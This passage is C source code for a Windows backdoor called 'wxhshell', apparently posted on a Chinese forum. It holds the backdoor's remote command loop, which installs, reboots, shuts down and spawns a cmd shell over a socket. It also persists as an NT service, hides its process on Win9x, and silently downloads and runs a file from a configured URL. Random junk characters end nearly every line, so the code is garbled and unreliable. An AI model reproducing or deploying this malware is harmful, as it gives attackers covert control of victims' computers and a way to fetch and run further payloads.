      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `;j1H<L  
    break; uO]D=Z\S(  
  } ~#E&E%sJ  
  // 安装 zR<{z  
  case 'i': { )#m{"rk[x,  
    if(Install()) ,<U= 7<NU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 98Vv K?  
    else p(n0(}eVC'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~6f/jCluR%  
    break; dPEDsG0$a  
    }  Zi~.  
  // 卸载 1m~|e.g_'`  
  case 'r': { Mt4  
    if(Uninstall()) JKZVd`fF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kH eD(Ea  
    else j2D!=PK;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oJTEN}fL  
    break; ';3>rv_  
    } /(^-= pAX  
  // 显示 wxhshell 所在路径 4;6"I2;zfG  
  case 'p': { =3035{\  
    char svExeFile[MAX_PATH]; sWlxt qg  
    strcpy(svExeFile,"\n\r"); D`p2aeI  
      strcat(svExeFile,ExeFile); -s 0SQe{!_  
        send(wsh,svExeFile,strlen(svExeFile),0); FEk9a^Xyx  
    break; GJB+] b-  
    } u&l;\w  
  // 重启 `,V&@}&"n  
  case 'b': { }ppApJT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ! v![K  
    if(Boot(REBOOT)) b$'%)\('g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5;XC!Gz  
    else { %$&eC  
    closesocket(wsh); ?ES{t4"  
    ExitThread(0); >V^8<^?G  
    } Tv|'6P  
    break; }ekNZNcuM  
    } k M /:n  
  // 关机 0kUhz\"R:q  
  case 'd': { &`m.]RV  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'l/l]26rO4  
    if(Boot(SHUTDOWN)) &MX&5@ Vu  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1|p\rHGd  
    else { ;l;jTb^l  
    closesocket(wsh); "Erphn  
    ExitThread(0); NuO@N r  
    } DNmC   
    break; oc"p5Y3,Os  
    } Zna6-0o  
  // 获取shell ~;HASHu  
  case 's': { Kh3i.gm7g  
    CmdShell(wsh); [\ku,yd%0  
    closesocket(wsh); \;-Yz  
    ExitThread(0); niS\0ZA  
    break; YMw,C:a4  
  } (h wzA *(c  
  // 退出 @>z.chM;  
  case 'x': { F[c oa5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); eYv^cbO@:  
    CloseIt(wsh); Tcy9oYh!Pn  
    break; D!* SA  
    } CRo @+p10  
  // 离开 QO$18MBcc  
  case 'q': { <@M5 C -hH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^h_rE |c  
    closesocket(wsh); J)g +I  
    WSACleanup(); /[Nkk)8-  
    exit(1); |~76dxU  
    break; I_B%F#X)  
        } @u+LF]MY  
  } m<n+1  
  } s3Bo'hGxG  
hzAuj0-A  
  // 提示信息 x<t ?Yc9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9uxoMjR-  
} 6U).vg<  
  } MZ)lNU l  
|3k r*#  
  return; VnN(lJ  
} :2 \NG}  
G$)q% b;Lz  
// shell模块句柄 }Q[U4G  
int CmdShell(SOCKET sock) 5#z7Hj&w  
{ V~Guw[RA  
STARTUPINFO si; Vb\^xdL>  
ZeroMemory(&si,sizeof(si)); #pWy%U  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; r6D3u(kMb  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #}1yBxB<=  
PROCESS_INFORMATION ProcessInfo; :tENn r.9v  
char cmdline[]="cmd"; ([m4 dr  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #+i5'p(4  
  return 0; MNh:NFCRA  
} {%2p(5FB  
5bZ0}^FYF  
// 自身启动模式 JiqhCt\  
int StartFromService(void) rxx VLW  
{ Eb,M+c?  
typedef struct oVl:g:K40  
{ b 2\J<Nw  
  DWORD ExitStatus; eLH=PDdO  
  DWORD PebBaseAddress; A _7I0^  
  DWORD AffinityMask; `MT.<5H  
  DWORD BasePriority; XcbEh  
  ULONG UniqueProcessId; 9n5uO[D  
  ULONG InheritedFromUniqueProcessId; ?5G; =#I  
}   PROCESS_BASIC_INFORMATION; 4{,!'NA  
0 Swu]OE  
PROCNTQSIP NtQueryInformationProcess; T2?.o.&u  
G~zfPBN0D  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _+}o/449  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; U*EBH  
4tkb7D q  
  HANDLE             hProcess; &/Gf@[  
  PROCESS_BASIC_INFORMATION pbi; 9r:|u:i7m  
\1u^?cBd  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \0*dKgN  
  if(NULL == hInst ) return 0; _+Z;pt$C  
6d5q<C_3t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); iOAn/[^xk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3?k<e  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); zl, Vj%d  
1Uah IePf  
  if (!NtQueryInformationProcess) return 0; 6XAofN/5f  
!;t6\Z8&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X&Ospl@H  
  if(!hProcess) return 0; <UIE-#  
nBd(p Oe  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; >TGc0 z+  
)eX{a/Be  
  CloseHandle(hProcess); xxgdp. (  
5HB*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5rtE/ {A  
if(hProcess==NULL) return 0; PTQN.[bBh  
=OrVaZ0  
HMODULE hMod; DLq'V.M:  
char procName[255]; +Lr`-</VF  
unsigned long cbNeeded; Eg4&D4TG p  
Q*f0YjH!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Rto/-I0l  
~1Ffu x  
  CloseHandle(hProcess); ZlMS=<hgFx  
6m:$RW  
if(strstr(procName,"services")) return 1; // 以服务启动 p`"Ic2xPJ  
on7? V<  
  return 0; // 注册表启动 l >oJ^J  
} : t D`e<  
;Rxc(tR!n  
// 主模块 7 /" Z/^  
int StartWxhshell(LPSTR lpCmdLine) -23sm~`  
{ dM -<aq  
  SOCKET wsl; NwKj@Jos  
BOOL val=TRUE; f(EO|d^u  
  int port=0; &j"_hFhv  
  struct sockaddr_in door; 1O2V!?P  
*mw *z|-^V  
  if(wscfg.ws_autoins) Install(); M^n^wz  
|41~U\  
port=atoi(lpCmdLine); @E> rqI;`  
}?CKE<#%  
if(port<=0) port=wscfg.ws_port; YvUV9qps~  
M>*xbBl  
  WSADATA data; b-#oE{(\'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d|sf2   
FbCuXS=+`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   02[*b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); TD/ 4lL~(x  
  door.sin_family = AF_INET; [.;I}  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #8WHIDS>  
  door.sin_port = htons(port); 2p*!up(  
8y4t9V  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b6""q9S!  
closesocket(wsl); tt&{f <*  
return 1; <`BDN  
} ;6=*E'  
5IRUG)Icr  
  if(listen(wsl,2) == INVALID_SOCKET) { jU{~3Gn?  
closesocket(wsl); XCGK&O GI  
return 1; 0Fs2* FS  
} "JgwL_2  
  Wxhshell(wsl); _Q*,~ z~  
  WSACleanup(); OL.{lKJ3DV  
cVaGgP}\  
return 0; 0c&DSL}6  
Gl4f:`  
} ~kI$8oAry  
K;R!>p}t  
// 以NT服务方式启动 YCG $GD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cU "uKR  
{ wk2Ff*&  
DWORD   status = 0; &!>.)I`  
  DWORD   specificError = 0xfffffff; <Ug1g0.  
mW3 IR3 b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; j 9f QV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; "i%=QON`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; HC$}KoZkC  
  serviceStatus.dwWin32ExitCode     = 0; A4)TJY 3g  
  serviceStatus.dwServiceSpecificExitCode = 0; cOdgBi  
  serviceStatus.dwCheckPoint       = 0; f5*hOzKG6  
  serviceStatus.dwWaitHint       = 0; -S%Uw  
RV@mAw.T  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); NC"X{$o2  
  if (hServiceStatusHandle==0) return; ,H] S-uK~  
;(Z9.  
status = GetLastError(); O}z-g&e.U  
  if (status!=NO_ERROR) AZ. j>+0xx  
{ DLoH.Fd  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; FY,)iZ}Pq  
    serviceStatus.dwCheckPoint       = 0; wYd{X 8$  
    serviceStatus.dwWaitHint       = 0; Nfd'|#  
    serviceStatus.dwWin32ExitCode     = status; nYTPcT4x|  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3g3Znb  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ee{Y1W  
    return; =GC,1WVEqV  
  } :f0#4'f  
cE*d(g  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 'Z6x\p  
  serviceStatus.dwCheckPoint       = 0; gAK"ShOhG=  
  serviceStatus.dwWaitHint       = 0; ]&"01M~+K  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); fy>~ GFk(  
} gq.l=xS  
*$Z?Owl7  
// 处理NT服务事件,比如:启动、停止 Aot9^@4])  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nx5I  
{ *dx E (dP  
switch(fdwControl) 6&"GTK  
{ {Ok]$0L  
case SERVICE_CONTROL_STOP: -=2V4WU~  
  serviceStatus.dwWin32ExitCode = 0; $g }aH(vf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V17!~  
  serviceStatus.dwCheckPoint   = 0; Eu[/* t+l  
  serviceStatus.dwWaitHint     = 0; T@ zV   
  {  qy/t<2'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Wfsd$kN6{  
  } |u#7@&N1  
  return; d_Z?i#r0l  
case SERVICE_CONTROL_PAUSE: =F46v{la  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ;esOe\z jE  
  break; RVh{wg  
case SERVICE_CONTROL_CONTINUE: Lwo9s)j<e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; YLb$/6gj6  
  break; 6P0 2=  
case SERVICE_CONTROL_INTERROGATE: PeJIa %iE  
  break; !WTL:dk  
}; ?DKY;:dZF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xk s M e  
} 2k^'}7G%  
|Zdl[|kX  
// 标准应用程序主函数 [G"Va_A8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) kTm}VTr 1  
{ C~04#z_$  
ggy9euWV  
// 获取操作系统版本 CsN^u H  
OsIsNt=GetOsVer(); #@P0i^pFTB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); f8)fm2^09  
BR:Mcc  
  // 从命令行安装 eaDG7+iS  
  if(strpbrk(lpCmdLine,"iI")) Install(); D=}\]Krmay  
#j)"#1IE2W  
  // 下载执行文件 BCh|^Pk  
if(wscfg.ws_downexe) { ">vi=Tr  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) # GzowI'  
  WinExec(wscfg.ws_filenam,SW_HIDE); OU<v9`<  
} 8"o@$;C  
XmN8S_M>v  
if(!OsIsNt) { ;KT5qiqYH  
// 如果时win9x,隐藏进程并且设置为注册表启动 &W{v(@  
HideProc(); wJh/tb=$o  
StartWxhshell(lpCmdLine); ?H eUU  
} <,y> W!  
else e s<  
  if(StartFromService()) Yw_!40`  
  // 以服务方式启动 ZWQ/BgKB  
  StartServiceCtrlDispatcher(DispatchTable); Hz>Dp !  
else jW>K#vj  
  // 普通方式启动 "NTiQ}i  
  StartWxhshell(lpCmdLine); XJ7pX1nf  
"6Z(0 iu:{  
return 0; \t)`Cp6,[b  
}
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只看该作者 1 发表于: 2006-10-10
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